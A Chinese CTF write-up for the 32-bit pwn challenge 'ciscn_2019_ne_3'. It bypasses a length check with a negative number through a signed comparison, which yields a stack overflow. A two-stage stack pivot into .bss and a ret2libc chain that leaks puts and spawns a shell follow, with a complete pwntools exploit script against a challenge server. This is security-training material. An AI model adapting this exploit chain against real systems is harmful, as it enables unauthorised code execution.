ciscn_2019_ne_3 **

前言

考点:栈溢出+汇编基础

本题为 32 位程序,保护如下:

漏洞分析

我的 IDA 无法 F5,但是好在程序不复杂,所以直接分析汇编代码(这里只给出关键点)。

程序首先会让你输入用户名并输出。然后会调用 readNum 函数让你输入一个密码长度:

可以看到这里要求输入的长度不大于 0x20,否则就直接退出。注意这里比较用的 jle 是带符号比较 ,这里非常重要,是后面利用的基础。

然后我们看下 readNum 函数:

可以看到就是往 bss 段的 buf 中读入 0x10 的数据,然后将其转换为整数并返回。

如果上面的判断过了,就会利用 read 函数往缓冲区中写数据,数据大小就是上面的密码长度:

漏洞就来了,在上面我们说了密码长度比较用的 jle 是带符号比较,所以我们可以利用负数去进行绕过,然后如果你熟悉 read 函数的话,你会发现其第三个参数是 size_t 类型,也就是无符号整数。所以这里存在栈溢出。

  ssize_t read(int fd, void buf[.count], size_t count);

这里要注意一下最后的返回,你会发现暗藏玄机。 

漏洞利用

存在栈溢出,没开 PIE,一开始想的就是直接 ret2libc,但是如果你看了函数的最后的返回部分(见上面的图片),你会发现我们不能直接简单的进行 ret2libc。

因为最后的 esp 等于 ecx-4,而 ecx 来自 [ebp-0xc],所以当我们覆盖返回地址的时候,就会把 [ebp-0xc] 给覆盖了,而我们并不知道栈上的地址,从而导致后面无法正常进行 ret2libc。

但是可以反过来想想,这里其实给了我们控制 rsp 的能力,因为 [ebp-0xc] 我们是可以控制的,所以完全可以控制 ecx,从而去控制 rsp。啊,这不是天然的栈迁移。

栈迁移到那里呢?这里就要用到在输出密码长度的函数了。在 readNum 函数中,向 bss 段上的 buf 中输入了 0x10 字节,其中前 4 个字节用来填充 -1,所以我们还可以写3个 gadget。

3个 gadget 是不能执行一条完整的 rop 链的,所以得进行二次栈迁移。

还是把这张图片在放一放:

3条gadget 我们可以在执行一次 _read 函数,并且 buf 和 len 是可控的,那如何进行二次栈迁移呢?很简单这里你发现了吗?ebp 我们也是可以控制的,而上面的 esp = ebp-0xc,所以当我们劫持程序再次执行 _read 后就可以直接把栈迁移到我们的 rop 链地址上。

exp 如下:需要注意的是这里的栈得往下点,因为bss前面存在一些不可写地址。然而puts/system等函数会把栈往上抬,这时会导致段错误

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = process("./pwn")
elf = ELF("./pwn")
#libc = elf.libc
io = remote("node4.buuoj.cn", 29948)
libc = ELF("./libc-2.27.so")

def debug():
        gdb.attach(io)
        pause()

#gdb.attach(io, 'b *0x080487B0')

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

bss = 0x0804A060
call_read = 0x08048793
puts_plt = 0x08048490
puts_got = 0x0804A01C
read_plt = 0x08048460
pop_ret = 0x08048431 # pop ebx ; ret
pop_3_ret = 0x08048819 # pop esi ; pop edi ; pop ebp ; ret

sla(b'What\'s name?', b'XiaozaYa')

dis = 0x500
pay = b'-1\n\x00' + p32(call_read) + p32(bss) + p32(dis)
sda(b'password: ', pay)

fake_rbp = bss + dis - 0x100
pay = b'A'*0x48 + p32(bss+8) + p32(0)*2 + p32(fake_rbp)
sla(b'):', pay)
sleep(0.05)

# BSS 段上面存在不可写地址,直接把 bss 段开头当作栈地址,后面调用函数时会对不可写地址进行写
#pay  = p32(0x80487BA) + p32(puts_plt) + p32(pop_ret) + p32(puts_got)

# 所以得把栈往下调整
pay  = p32(0x080487B0).ljust(dis-0x100-0xc, b'\x00') + p32(fake_rbp+0x8) + p32(0) + p32(0) + p32(fake_rbp)
pay += p32(puts_plt) + p32(pop_ret) + p32(puts_got) + p32(read_plt) + p32(pop_3_ret) + p32(0) + p32(bss+dis-0x100+0x24) + p32(0x100)

info("pay len", len(pay))
info("fake_rbp", fake_rbp)
sl(pay)

#pause()
rut(b'contiune\n')
puts_addr = addr4(4)
libc.address = puts_addr - libc.sym.puts
info("puts_addr", puts_addr)
info("libc_base", libc.address)

sleep(0.01)
pay = p32(libc.sym.system) + p32(0xdeadbeef) + p32(next(libc.search(b"/bin/sh")))
sl(pay)

#debug()
sh()

效果如下:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值